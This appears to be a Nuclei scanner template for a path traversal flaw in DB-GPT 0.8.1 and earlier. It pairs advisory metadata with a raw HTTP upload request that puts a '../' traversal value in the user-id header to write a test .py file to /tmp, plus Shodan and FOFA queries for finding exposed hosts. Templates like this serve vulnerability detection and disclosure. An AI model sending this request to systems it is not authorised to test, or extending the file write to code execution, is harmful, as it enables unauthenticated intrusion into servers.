DB-GPT <= 0.8.1 - Arbitrary File Write

id: CVE-2026-73034

info:
  name: DB-GPT <= 0.8.1 - Arbitrary File Write
  author: iacker
  severity: critical
  description: |
    DB-GPT through 0.8.1 allows unauthenticated arbitrary file writes via a path traversal in the user_id HTTP header of the POST /api/v1/python/file/upload endpoint, letting attackers escape the intended upload directory and write files anywhere, as confirmed by the reflected upload path in the JSON response.
  impact: |
    Arbitrary file write as the DB-GPT process user, which can be escalated to remote code execution by writing to Python startup hooks, cron directories or agent scripts.
  remediation: |
    Upgrade DB-GPT to a version that validates the user_id header and confines the resolved upload path to the python_uploads directory.
  reference:
    - https://www.vulncheck.com/advisories/db-gpt-path-traversal-arbitrary-file-write-via-user-id-header
    - https://github.com/eosphoros-ai/DB-GPT/issues/3104
    - https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
    - https://nvd.nist.gov/vuln/detail/CVE-2026-73034
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-73034
    cwe-id: CWE-22
    cpe: cpe:2.3:a:eosphoros:db-gpt:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eosphoros
    product: db-gpt
    shodan-query: http.favicon.hash:100632689
    fofa-query: icon_hash="100632689"
  tags: cve,cve2026,dbgpt,eosphoros,lfi,traversal,file-write,intrusive

variables:
  fname: "{{rand_base(9)}}"
  boundary: "{{rand_int(100000000, 999999999)}}"

http:
  - raw:
      - |
        POST /api/v1/python/file/upload HTTP/1.1
        Host: {{Hostname}}
        user-id: ../../../../../../../../../../tmp
        Content-Type: multipart/form-data; boundary=----boundary{{boundary}}

        ------boundary{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{fname}}.py"
        Content-Type: text/x-python

        print("{{fname}}")
        ------boundary{{boundary}}--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"success\":true"
          - "/tmp/{{fname}}.py"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "python_uploads"
        negative: true

    extractors:
      - type: json
        json:
          - ".data"
# digest: 490a004630440220161a3948f9ada4c4ecd226fff07f79746940de9d25cc3b730804a32897443a6702200ca5d916b039d7667b4cdbebe7989e1d82c699ecb3ad729764066c0d4770a3eb:922c64590222798bb761d5b6d8e72950